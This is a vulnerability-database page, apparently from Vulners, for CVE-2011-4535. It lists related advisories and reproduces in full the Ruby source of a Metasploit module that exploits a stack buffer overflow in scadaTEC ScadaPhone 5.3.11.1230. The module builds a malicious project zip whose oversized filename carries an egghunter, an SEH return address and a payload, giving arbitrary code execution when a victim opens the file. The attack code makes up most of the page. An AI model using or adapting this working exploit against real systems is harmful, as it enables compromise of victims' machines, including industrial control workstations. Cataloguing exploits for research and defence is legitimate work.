Lucene search
K

ScadaTEC ScadaPhone Stack Buffer Overflow

🗓️ 13 Sep 2011 17:25:03Reported by mr_me <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

This module exploits a stack-based buffer overflow vulnerability in version 5.3.11.1230 of scadaTEC's ScadaPhone. An attacker can execute arbitrary code as the victim user by convincing someone to load a specially crafted project zip file with ScadaPhone

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-4535
12 Sep 201100:00
circl
Check Point Advisories
ScadaTEC ScadaPhone and ModbusTagServer SCADA Remote Code Execution (CVE-2011-4535)
22 Sep 201300:00
checkpoint_advisories
Check Point Advisories
ScadaTEC ScadaPhone and ModbusTagServer SCADA Remote Code Execution - Ver2 (CVE-2011-4535)
18 May 201500:00
checkpoint_advisories
CVE
CVE-2011-4535
3 Apr 201201:00
cve
Cvelist
CVE-2011-4535
3 Apr 201201:00
cvelist
ICS
ScadaTEC ScadaPhone & Modbus TagServer Buffer Overflow Vulnerability
30 Sep 201106:00
ics
NVD
CVE-2011-4535
3 Apr 201203:44
nvd
Prion
Buffer overflow
3 Apr 201203:44
prion
RedhatCVE
CVE-2011-4535
22 May 202501:03
redhatcve
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ScadaTEC ScadaPhone Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        version 5.3.11.1230 of scadaTEC's ScadaPhone.

        In order for the command to be executed, an attacker must convince someone to
        load a specially crafted project zip file with ScadaPhone.
        By doing so, an attacker can execute arbitrary code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
        ],
      'References'     =>
        [
          [ 'CVE', '2011-4535' ],
          [ 'OSVDB', '75375' ],
          [ 'URL', 'http://www.scadatec.com/' ],
          [ 'EDB', '17817' ],
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'Space'    => 700,
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          # POP ESI; POP EBX; RETN [ScadaPhone.exe]
          [ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
        ],
      'DisclosureDate' => '2011-09-12',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
        ])
  end

  def exploit

    eggoptions =
    {
      :checksum => false,
      :eggtag => 'zipz'
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    fname = rand_text_alpha_upper(229)
    fname << hunter
    fname << rand_text_alpha_upper(48-hunter.length)
    fname << Rex::Arch::X86.jmp_short(-50)
    fname << rand_text_alpha_upper(2)
    fname << [target.ret].pack('V')
    fname << rand_text_alpha_upper(100)
    fname << egg
    fname << rand_text_alpha_upper(4096-fname.length)
    fname << [0x7478741e].pack('V')

    zip = Rex::Zip::Archive.new
    xtra = [0xdac0ffee].pack('V')
    comment = [0xbadc0ded].pack('V')
    zip.add_file(fname, xtra, comment)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation